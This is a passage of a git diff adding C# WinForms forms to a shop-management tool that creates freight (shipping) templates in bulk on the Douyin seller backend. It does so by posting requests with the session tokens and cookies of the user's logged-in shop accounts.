System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "ShopFreightTemplateForm"; + this.Text = "运费模板"; + this.Load += new System.EventHandler(this.ShopFreightTemplateForm_Load); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel1.PerformLayout(); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.groupTemplate.ResumeLayout(false); + this.groupTemplate.PerformLayout(); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.TextBox txtAddPrcie; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.TextBox txtAddNum; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox txtPrice; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.TextBox txtNum; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.RadioButton rbtype2; + private System.Windows.Forms.RadioButton rbtype1; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.RadioButton rbcost2; + private System.Windows.Forms.RadioButton rbcost1; + private System.Windows.Forms.RadioButton rbcost0; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox txtTemplate; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.ComboBox cobCity; + private System.Windows.Forms.ComboBox cobProvince; + private System.Windows.Forms.Label label9; + private UserControls.ButtonEx btnSave; + private UserComponent.UcGroupBoxEx groupTemplate; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.TextBox txtFixCost; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvShop; + private UserControls.StatusBarUserControl statusBar; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colStatus; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateAddForm.cs b/TEMUKJD/KJDForms/ShopForms/FreightTemplateAddForm.cs new file mode 100644 index 0000000..37c62f3 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateAddForm.cs @@ -0,0 +1,337 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.Extension; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Web.UI.WebControls; +using System.Windows.Forms; +using Work; + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + /// + /// 运费模板管理窗口 + /// + public partial class FreightTemplateAddForm : Form + { + public static List ids = new List(); + + public FreightTemplateAddForm() + { + InitializeComponent(); + } + + + private void btnSave_Click(object sender, EventArgs e) + { + string template_name = txtTemplate.Text.ToString(); + int num =0; + decimal price = 0; + int addnum = 0; + decimal addPrcie = 0; + if (rbcost0.Checked) + { + num = Convert.ToInt32(txtNum.Text); + price = Convert.ToDecimal(txtPrice.Text); + addnum = Convert.ToInt32(txtAddNum.Text); + addPrcie = Convert.ToDecimal(txtAddPrcie.Text); + } + var prov = cobProvince.SelectedItem as ListItem; + int pid = int.Parse(prov.Value); + var city = cobCity.SelectedItem as ListItem; + int cid = int.Parse(city.Value); + ids = dgvShop.Rows.Cast() + .Where(r1 => r1.Cells["colSelect"].Value.ToString().ToLower() == "true") + .Select(r2 => r2.Cells["colShopId"].Value?.ToString()).ToList(); + + Task.Run(()=> { + for (int i = 0; i < GlobalConfig.DouShopLoginList.Count; i++) + { + var shop = GlobalConfig.DouShopLoginList[i]; + if (!ids.Any(id => id == shop.ShopAccountId) || shop.LoginStatus != "登录成功") + continue; + string data = "template_name=" + template_name + "&product_province=" + pid + "&product_city=" + cid; + //固定运费 + if (rbcost1.Checked) + { + decimal fix = Convert.ToDecimal(txtFixCost.Text); + data += "&rule_type=1&calculate_type=2&fixed_amount=" + fix * 100 + "&appid=1&__token=" + shop.ShopToken + "&_bid=ffa_order&aid=4272&_lid=478386445810"; + } + //卖家包邮 + if (rbcost2.Checked) + { + data += "&rule_type=2&calculate_type=2&fixed_amount=0&appid=1&__token=" + shop.ShopToken + "&_bid=ffa_order&aid=4272&_lid=478386445810"; + } + // 阶梯计价 + if (rbcost0.Checked) + { + if (rbtype1.Checked) + { + data += "&rule_type=0&calculate_type=2&fixed_amount=0&columns[0][calculate_type]=2&columns[0][first_weight]=&columns[0][first_weight_price]=&columns[0][first_num]=" + num + + "&columns[0][first_num_price]=" + price + + "&columns[0][add_weight]=&columns[0][add_weight_price]=&columns[0][add_num]=" + addnum + + "&columns[0][add_num_price]=" + addPrcie + + "&columns[0][is_default]=1&columns[0][is_limited]=0&columns[0][is_over_free]=0&appid=1&__token=" + shop.ShopToken + + "&_bid=ffa_order&aid=4272&_lid=390305557852"; + } + else + { + data += "&rule_type=0&calculate_type=1&fixed_amount=0&columns[0][calculate_type]=1&columns[0][first_weight]=" + num + + "&columns[0][first_weight_price]=" + price + + "&columns[0][first_num]=&columns[0][first_num_price]=&columns[0][add_weight]=" + addnum + + "&columns[0][add_weight_price]=" + addPrcie + "&columns[0][add_num]=&columns[0][add_num_price]=&columns[0][is_default]=1&columns[0][is_limited]=0&columns[0][is_over_free]=0&appid=1&__token=" + shop.ShopToken + + "&_bid=ffa_order&aid=4272&_lid=482676755100"; + } + } + //提交 + string url = "https://fxg.jinritemai.com/freight/template/createShopFreightTemplate?appid=1&__token=" + shop.ShopToken + + "&_bid=ffa_order&aid=4272&_lid=390305621361&_signature=" + shop.Signature + ""; + string refere = "https://fxg.jinritemai.com/ffa/morder/logistics/freight-edit"; + data = HttpUtility.UrlEncode(data, Encoding.UTF8).Replace("%3d", "=").Replace("%26", "&"); + string html = GetPostTaobaoHtml.UploadFxgPost(url, refere, true, data, shop.Cookies); + long template_id = BaseRegex.GetLongJson(ref html, "template_id"); + if (template_id>0) + { + RefreshDataGridView(shop, "运费模板设置成功"); + RefreshLog(shop.ShopAccount+"运费模板设置成功"); + + } + else + { + RefreshDataGridView(shop, "运费模板设置失败"); + RefreshLog(shop.ShopAccount + "运费模板设置失败"); + + } + + } + }); + + } + int count = 0; + public void RefreshDataGridView(DouShopLoginInfo shop,string message) + { + this.Invoke(new Action(() => + { + count++; + for (int i = 0; i < dgvShop.Rows.Count; i++) + { + if (shop.ShopAccountId== dgvShop.Rows[i].Cells["colShopId"].Value.ToString()) + { + dgvShop.Rows[i].Cells["colStatus"].Value = message; + break; + } + } + })); + } + public void RefreshLog(string message) + { + Task.Run(() => + { + if (this.Created) + { + this.Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = message; + this.statusBar.pgbTaskProgress.Maximum = ids.Count; + this.statusBar.pgbTaskProgress.Value = count; + this.statusBar.pgbTaskProgress.Text = count + "/" + ids.Count; + })); + } + }); + } + private void rbcost1_CheckedChanged(object sender, EventArgs e) + { + if (rbcost1.Checked) + { + panel1.Visible = true; + } + else + { + panel1.Visible = false; + } + } + + private void rbcost0_CheckedChanged(object sender, EventArgs e) + { + if (rbcost0.Checked) + { + groupTemplate.Visible = true; + } + else + { + groupTemplate.Visible = false; + } + } + + private void rbcost2_CheckedChanged(object sender, EventArgs e) + { + if (rbcost2.Checked) + { + groupTemplate.Visible = false; + panel1.Visible = false; + } + } + + private void rbtype1_CheckedChanged(object sender, EventArgs e) + { + if (rbtype1.Checked) + { + label5.Text= "件以内,"; + label7.Text = "件,增加运费"; + } + } + + private void rbtype2_CheckedChanged(object sender, EventArgs e) + { + if (rbtype2.Checked) + { + label5.Text = "kg以内,"; + label7.Text = "kg,增加运费"; + } + } + + private void cobProvince_SelectedIndexChanged(object sender, EventArgs e) + { + var area = cobProvince.SelectedItem as ListItem; + int id = int.Parse(area.Value); + var shop = GlobalConfig.DouShopLoginList.Where(s=>s.LoginStatus=="登录成功").FirstOrDefault(); + if (shop == null) + return; + List list = new List(); + //获取市区 + string url = "https://fxg.jinritemai.com/common/index/getCity?version=1&id=" + id + "&appid=1&__token=" + shop?.ShopToken + + "&_bid=ffa_order&aid=4272&_lid=368236870254&_signature=" + shop?.Signature + ""; + string refere = "https://fxg.jinritemai.com/ffa/morder/logistics/freight-edit"; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, shop?.Cookies); + long catId = BaseRegex.GetLongJson(ref html, "id"); + var m = BaseRegex.GetMatchRegex(ref html, @"{""city_id""[\w\W]+?}"); + for (int i = 0; m != null && i < m.Count; i++) + { + string temp = m[i].Groups[0].Value; + long pid = BaseRegex.GetLongJson(ref temp, "city_id"); + string pname = BaseRegex.GetStringJson(ref temp, "city"); + list.Add(new ListItem(pname,pid.ToString())); + } + cobCity.DisplayMember = "Text"; + cobCity.ValueMember = "Value"; + cobCity.DataSource = list; + } + + private void ShopFreightTemplateForm_Load(object sender, EventArgs e) + { + this.dgvShop.AddSelectorColumn("colSelect"); + ReadLoad(); + loadArea(); + } + string temp = ""; + public void loadArea() + { + //var shop = GlobalConfig.DouShopLoginList[0]; + //List list = new List(); + //cobProvince.Items.Clear(); + //string url = "https://fxg.jinritemai.com/common/index/getProvince?version=1&only_mainland=1&appid=1&__token=" + shop.ShopToken + // + "&_bid=ffa_order&aid=4272&_lid=468369728881&_signature=" + shop.Signature; + //string refere = "https://fxg.jinritemai.com/ffa/morder/logistics/freight-edit"; + //string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, shop.Cookies); + //var m = BaseRegex.GetMatchRegex(ref html, @"{""province_id""[\w\W]+?}"); + //for (int i = 0; m != null && i < m.Count; i++) + //{ + // string item = m[i].Groups[0].Value; + // long pid = BaseRegex.GetLongJson(ref item, "province_id"); + // string pname = BaseRegex.GetStringJson(ref item, "province"); + // list.Add(new ListItem(pname, pid.ToString())); + // temp += pname+":"+pid+"\r\n"; + //} + List list = new List(); + List striparr = prov.Split(new string[] { "\r\n" }, StringSplitOptions.None).ToList(); + for (int i = 0; i < striparr.Count; i++) + { + string item = striparr[i]; + string pname = item.Split(':')[0]; + string pid= item.Split(':')[1]; + list.Add(new ListItem(pname, pid)); + } + cobProvince.DisplayMember = "Text"; + cobProvince.ValueMember = "Value"; + cobProvince.DataSource = list; + } + public void ReadLoad() + { + for (int i = 0; i < GlobalConfig.DouShopLoginList.Count; i++) + { + var shop = GlobalConfig.DouShopLoginList[i]; + dgvShop.Rows.Add(false, shop.ShopAccountId, shop.ShopAccount, 0, shop.LoginStatus); + } + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + //string name = dgvShop.Columns[e.ColumnIndex].HeaderText; + string colId = dgvShop.Columns[e.ColumnIndex].Name; + if (colId == "colSelect") + { + bool ok = !bool.Parse(dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ToString()); + dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value = ok; + } + //if (name == "全选") + //{ + // bool ok = !bool.Parse(dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ToString()); + // string shopName = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ToString(); + // dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value = ok; + // if (ok) + // { + // ids.Add(shopName); + // } + // else + // { + // if (ids.Select(id => id == shopName).FirstOrDefault()) + // { + // ids.Remove(shopName); + // } + // } + //} + } + + string prov = @"安徽省:34 +北京市:11 +重庆市:50 +福建省:35 +广东省:44 +甘肃省:62 +广西壮族自治区:45 +贵州省:52 +河北省:13 +湖北省:42 +黑龙江省:23 +河南省:41 +湖南省:43 +海南省:46 +吉林省:22 +江苏省:32 +江西省:36 +辽宁省:21 +内蒙古自治区:15 +宁夏回族自治区:64 +青海省:63 +四川省:51 +山东省:37 +上海市:31 +山西省:14 +陕西省:61 +天津市:12 +新疆维吾尔自治区:65 +西藏自治区:54 +云南省:53 +浙江省:33"; + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateAddForm.resx b/TEMUKJD/KJDForms/ShopForms/FreightTemplateAddForm.resx new file mode 100644 index 0000000..688c06f --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateAddForm.resx @@ -0,0 +1,129 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateForm.Designer.cs b/TEMUKJD/KJDForms/ShopForms/FreightTemplateForm.Designer.cs new file mode 100644 index 0000000..5f78825 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateForm.Designer.cs @@ -0,0 +1,1134 @@ + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + partial class FreightTemplateForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.ucGroupBoxEx3 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.cmbCity = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.cmbProvince = new DevComponents.DotNetBar.Controls.ComboBoxEx(); + this.label3 = new System.Windows.Forms.Label(); + this.pnlSamePostage = new System.Windows.Forms.FlowLayoutPanel(); + this.label12 = new System.Windows.Forms.Label(); + this.txtSamePostagePrice = new System.Windows.Forms.TextBox(); + this.label13 = new System.Windows.Forms.Label(); + this.panel3 = new System.Windows.Forms.Panel(); + this.rbSamePostage = new System.Windows.Forms.RadioButton(); + this.rbStepPostage = new System.Windows.Forms.RadioButton(); + this.rbNoPostage = new System.Windows.Forms.RadioButton(); + this.pnlStepPostage = new System.Windows.Forms.FlowLayoutPanel(); + this.rbWithCount = new System.Windows.Forms.RadioButton(); + this.rbWithWeight = new System.Windows.Forms.RadioButton(); + this.label2 = new System.Windows.Forms.Label(); + this.txtWeightOrCountStep1 = new System.Windows.Forms.TextBox(); + this.lblWeightOrCountStep1 = new System.Windows.Forms.Label(); + this.txtWeightOrCountPrice1 = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.txtWeightOrCountStep2 = new System.Windows.Forms.TextBox(); + this.lblWeightOrCountStep2 = new System.Windows.Forms.Label(); + this.txtWeightOrCountPrice2 = new System.Windows.Forms.TextBox(); + this.label8 = new System.Windows.Forms.Label(); + this.panel2 = new System.Windows.Forms.Panel(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.btnSetNotArea = new DevComponents.DotNetBar.PanelEx(); + this.nudGroupCount = new System.Windows.Forms.NumericUpDown(); + this.label11 = new System.Windows.Forms.Label(); + this.panel1 = new System.Windows.Forms.Panel(); + this.btnSetName = new DevComponents.DotNetBar.PanelEx(); + this.rbCustomName = new System.Windows.Forms.RadioButton(); + this.rbAutoName = new System.Windows.Forms.RadioButton(); + this.label7 = new System.Windows.Forms.Label(); + this.btnAdd = new DevComponents.DotNetBar.PanelEx(); + this.btnStopAdd = new DevComponents.DotNetBar.PanelEx(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.txtSearchText = new System.Windows.Forms.TextBox(); + this.label4 = new System.Windows.Forms.Label(); + this.btnSearch = new DevComponents.DotNetBar.PanelEx(); + this.btnStop = new DevComponents.DotNetBar.PanelEx(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnRefreshShop = new DevComponents.DotNetBar.PanelEx(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colBuyAuthStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLoginStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCanUse = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + this.ucTabControl1 = new LittleRabbit.UserComponent.UcTabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.splitContainer4 = new System.Windows.Forms.SplitContainer(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + this.btnClear = new DevComponents.DotNetBar.PanelEx(); + this.toolTip1 = new System.Windows.Forms.ToolTip(this.components); + this.chkLimited = new System.Windows.Forms.CheckBox(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx3.SuspendLayout(); + this.pnlSamePostage.SuspendLayout(); + this.panel3.SuspendLayout(); + this.pnlStepPostage.SuspendLayout(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudGroupCount)).BeginInit(); + this.panel1.SuspendLayout(); + this.ucGroupBoxEx2.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.Panel2.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.panelEx1.SuspendLayout(); + this.ucTabControl1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).BeginInit(); + this.splitContainer4.Panel1.SuspendLayout(); + this.splitContainer4.Panel2.SuspendLayout(); + this.splitContainer4.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx3); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx2); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer3); + this.splitContainer1.Size = new System.Drawing.Size(1127, 592); + this.splitContainer1.SplitterDistance = 150; + this.splitContainer1.TabIndex = 8; + // + // ucGroupBoxEx3 + // + this.ucGroupBoxEx3.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ucGroupBoxEx3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx3.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx3.Controls.Add(this.cmbCity); + this.ucGroupBoxEx3.Controls.Add(this.cmbProvince); + this.ucGroupBoxEx3.Controls.Add(this.label3); + this.ucGroupBoxEx3.Controls.Add(this.pnlSamePostage); + this.ucGroupBoxEx3.Controls.Add(this.panel3); + this.ucGroupBoxEx3.Controls.Add(this.pnlStepPostage); + this.ucGroupBoxEx3.Controls.Add(this.panel2); + this.ucGroupBoxEx3.Controls.Add(this.nudGroupCount); + this.ucGroupBoxEx3.Controls.Add(this.label11); + this.ucGroupBoxEx3.Controls.Add(this.panel1); + this.ucGroupBoxEx3.Controls.Add(this.btnAdd); + this.ucGroupBoxEx3.Controls.Add(this.btnStopAdd); + this.ucGroupBoxEx3.Controls.Add(this.chkLimited); + this.ucGroupBoxEx3.Location = new System.Drawing.Point(386, 2); + this.ucGroupBoxEx3.Name = "ucGroupBoxEx3"; + this.ucGroupBoxEx3.Size = new System.Drawing.Size(738, 150); + this.ucGroupBoxEx3.TabIndex = 470; + this.ucGroupBoxEx3.TabStop = false; + this.ucGroupBoxEx3.Text = "新建运费模板"; + // + // cmbCity + // + this.cmbCity.DisplayMember = "Text"; + this.cmbCity.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbCity.FormattingEnabled = true; + this.cmbCity.ItemHeight = 18; + this.cmbCity.Location = new System.Drawing.Point(283, 28); + this.cmbCity.Name = "cmbCity"; + this.cmbCity.Size = new System.Drawing.Size(90, 24); + this.cmbCity.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbCity.TabIndex = 650; + this.cmbCity.Text = "请选择"; + // + // cmbProvince + // + this.cmbProvince.DisplayMember = "Text"; + this.cmbProvince.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbProvince.FormattingEnabled = true; + this.cmbProvince.ItemHeight = 18; + this.cmbProvince.Location = new System.Drawing.Point(189, 29); + this.cmbProvince.Name = "cmbProvince"; + this.cmbProvince.Size = new System.Drawing.Size(90, 24); + this.cmbProvince.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbProvince.TabIndex = 649; + this.cmbProvince.Text = "请选择"; + this.cmbProvince.SelectedIndexChanged += new System.EventHandler(this.cmbProvince_SelectedIndexChanged); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(130, 32); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(68, 17); + this.label3.TabIndex = 648; + this.label3.Text = "发货地区:"; + // + // pnlSamePostage + // + this.pnlSamePostage.Controls.Add(this.label12); + this.pnlSamePostage.Controls.Add(this.txtSamePostagePrice); + this.pnlSamePostage.Controls.Add(this.label13); + this.pnlSamePostage.Location = new System.Drawing.Point(495, 88); + this.pnlSamePostage.Name = "pnlSamePostage"; + this.pnlSamePostage.Size = new System.Drawing.Size(194, 23); + this.pnlSamePostage.TabIndex = 641; + this.pnlSamePostage.Visible = false; + // + // label12 + // + this.label12.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(3, 3); + this.label12.Margin = new System.Windows.Forms.Padding(3, 0, 0, 0); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(56, 17); + this.label12.TabIndex = 612; + this.label12.Text = "固定运费"; + // + // txtSamePostagePrice + // + this.txtSamePostagePrice.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.txtSamePostagePrice.Location = new System.Drawing.Point(59, 0); + this.txtSamePostagePrice.Margin = new System.Windows.Forms.Padding(0); + this.txtSamePostagePrice.Name = "txtSamePostagePrice"; + this.txtSamePostagePrice.Size = new System.Drawing.Size(45, 23); + this.txtSamePostagePrice.TabIndex = 613; + // + // label13 + // + this.label13.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(104, 3); + this.label13.Margin = new System.Windows.Forms.Padding(0); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(20, 17); + this.label13.TabIndex = 614; + this.label13.Text = "元"; + // + // panel3 + // + this.panel3.Controls.Add(this.rbSamePostage); + this.panel3.Controls.Add(this.rbStepPostage); + this.panel3.Controls.Add(this.rbNoPostage); + this.panel3.Location = new System.Drawing.Point(21, 88); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(250, 23); + this.panel3.TabIndex = 640; + // + // rbSamePostage + // + this.rbSamePostage.AutoSize = true; + this.rbSamePostage.Location = new System.Drawing.Point(83, 1); + this.rbSamePostage.Name = "rbSamePostage"; + this.rbSamePostage.Size = new System.Drawing.Size(74, 21); + this.rbSamePostage.TabIndex = 466; + this.rbSamePostage.Text = "固定运费"; + this.rbSamePostage.UseVisualStyleBackColor = true; + this.rbSamePostage.CheckedChanged += new System.EventHandler(this.rbSamePostage_CheckedChanged); + // + // rbStepPostage + // + this.rbStepPostage.AutoSize = true; + this.rbStepPostage.Location = new System.Drawing.Point(3, 1); + this.rbStepPostage.Name = "rbStepPostage"; + this.rbStepPostage.Size = new System.Drawing.Size(74, 21); + this.rbStepPostage.TabIndex = 465; + this.rbStepPostage.Text = "阶梯计价"; + this.rbStepPostage.UseVisualStyleBackColor = true; + this.rbStepPostage.CheckedChanged += new System.EventHandler(this.rbStepPostage_CheckedChanged); + // + // rbNoPostage + // + this.rbNoPostage.AutoSize = true; + this.rbNoPostage.Checked = true; + this.rbNoPostage.Location = new System.Drawing.Point(163, 1); + this.rbNoPostage.Name = "rbNoPostage"; + this.rbNoPostage.Size = new System.Drawing.Size(74, 21); + this.rbNoPostage.TabIndex = 467; + this.rbNoPostage.TabStop = true; + this.rbNoPostage.Text = "卖家包邮"; + this.rbNoPostage.UseVisualStyleBackColor = true; + // + // pnlStepPostage + // + this.pnlStepPostage.Controls.Add(this.rbWithCount); + this.pnlStepPostage.Controls.Add(this.rbWithWeight); + this.pnlStepPostage.Controls.Add(this.label2); + this.pnlStepPostage.Controls.Add(this.txtWeightOrCountStep1); + this.pnlStepPostage.Controls.Add(this.lblWeightOrCountStep1); + this.pnlStepPostage.Controls.Add(this.txtWeightOrCountPrice1); + this.pnlStepPostage.Controls.Add(this.label5); + this.pnlStepPostage.Controls.Add(this.label6); + this.pnlStepPostage.Controls.Add(this.txtWeightOrCountStep2); + this.pnlStepPostage.Controls.Add(this.lblWeightOrCountStep2); + this.pnlStepPostage.Controls.Add(this.txtWeightOrCountPrice2); + this.pnlStepPostage.Controls.Add(this.label8); + this.pnlStepPostage.Location = new System.Drawing.Point(21, 116); + this.pnlStepPostage.Name = "pnlStepPostage"; + this.pnlStepPostage.Size = new System.Drawing.Size(668, 23); + this.pnlStepPostage.TabIndex = 639; + this.pnlStepPostage.Visible = false; + // + // rbWithCount + // + this.rbWithCount.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.rbWithCount.AutoSize = true; + this.rbWithCount.Checked = true; + this.rbWithCount.Location = new System.Drawing.Point(3, 1); + this.rbWithCount.Margin = new System.Windows.Forms.Padding(3, 0, 0, 0); + this.rbWithCount.Name = "rbWithCount"; + this.rbWithCount.Size = new System.Drawing.Size(62, 21); + this.rbWithCount.TabIndex = 615; + this.rbWithCount.TabStop = true; + this.rbWithCount.Text = "按件数"; + this.rbWithCount.UseVisualStyleBackColor = true; + // + // rbWithWeight + // + this.rbWithWeight.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.rbWithWeight.AutoSize = true; + this.rbWithWeight.Location = new System.Drawing.Point(65, 1); + this.rbWithWeight.Margin = new System.Windows.Forms.Padding(0, 0, 3, 0); + this.rbWithWeight.Name = "rbWithWeight"; + this.rbWithWeight.Size = new System.Drawing.Size(62, 21); + this.rbWithWeight.TabIndex = 616; + this.rbWithWeight.Text = "按重量"; + this.rbWithWeight.UseVisualStyleBackColor = true; + this.rbWithWeight.CheckedChanged += new System.EventHandler(this.rbWithWeight_CheckedChanged); + // + // label2 + // + this.label2.Anchor = System.Windows.Forms.AnchorStyles.Left; + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(130, 3); + this.label2.Margin = new System.Windows.Forms.Padding(0); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(56, 17); + this.label2.TabIndex = 605; + this.label2.Text = "默认运费"; + // + // txtWeightOrCountStep1 + // + this.txtWeightOrCountStep1.Anchor = 